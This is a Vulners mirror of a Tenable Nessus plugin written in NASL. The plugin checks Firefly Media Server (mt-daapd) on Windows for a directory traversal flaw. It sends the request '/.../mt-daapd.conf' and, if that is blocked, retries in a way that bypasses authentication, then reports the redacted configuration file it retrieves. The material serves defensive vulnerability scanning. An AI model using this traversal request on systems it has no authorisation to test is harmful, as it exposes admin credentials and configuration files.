Lucene search
K

Firefly Media Server Limited Directory Traversal Admin Credential Disclosure

🗓️ 10 Dec 2007 00:00:00Reported by TenableType 
nessus
 nessus
🔗 www.tenable.com👁 23 Views

The remote host runs Firefly Media Server, which allows directory traversal for admin credential disclosure on Window

Refs
Code
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#



include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(29252);
  script_version("1.16");

  script_bugtraq_id(26770);

  script_name(english:"Firefly Media Server Limited Directory Traversal Admin Credential Disclosure");
  script_summary(english:"Tries to read mt-daapd.conf");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a partial directory traversal
vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host is running Firefly Media Server, also known as
mt-daapd, a media streaming server. 

The version of Firefly Media Server installed on the remote Windows
host allows an attacker to retrieve arbitrary files, possibly
bypassing authentication, from the parent directory of Firefly's
'admin-root' folder, including the application's configuration file. 

In addition, Firefly Media Server has been reported to be vulnerable
to two denial of service issues. However, Nessus has not checked for
these." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/484763/30/0/threaded" );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:U/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");


 script_set_attribute(attribute:"plugin_publication_date", value: "2007/12/10");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "os_fingerprint.nasl");
  script_require_keys("Host/OS");
  script_require_ports("Services/www", 9999);

  exit(0);
}


os = get_kb_item("Host/OS");
if (!os || "Windows" >!< os) exit(0);

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:9999, embedded: 1);


# Make sure it looks like Firefly / mt-daapd.
banner = get_http_banner(port:port);
if (
  !banner ||
  ("mt-daapd/" >!< banner && "Firefly Media Server/" >!< banner)
) exit(0);


# Try to exploit the issue to retrieve Firefly's configuration file.
url = "/.../mt-daapd.conf";

r = http_send_recv3(method: "GET", item:url, port:port);
if (isnull(r)) exit(0);
res = strcat(r[0], r[1], '\r\n', r[2]);

# If it's protected, try to bypass authentication.
if ("location: /no_access.html" >< res )
{
  url = url - "/";

  r = http_send_recv3(method: "GET", item:url, port:port);
  if (isnull(r)) exit(0);
  res = strcat(r[0], r[1], '\r\n', r[2]);
}


# There's a problem if we retrieved the file.
if (
  "[general]" >< res &&
  res =~ "web_root *= *"
)
{
  # Ignore the HTTP headers.
  contents = r[2];

  if (url[0] != "/")
  {
    report = string(
      "Nessus was able to bypass authentication and retrieve the contents of\n",
      "Firefly's configuration file, mt-daapd.conf, from the remote host :\n"
    );
  }
  else
  {
    report = string(
      "Here are the contents of Firefly's configuration file, mt-daapd.conf, that\n",
      "Nessus was able to read from the remote host :\n"
    );
  }
  report = string(
    report,
    "\n",
    data_protection::sanitize_user_full_redaction(output:contents), "\n"
  );
  security_hole(port:port, extra:report);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation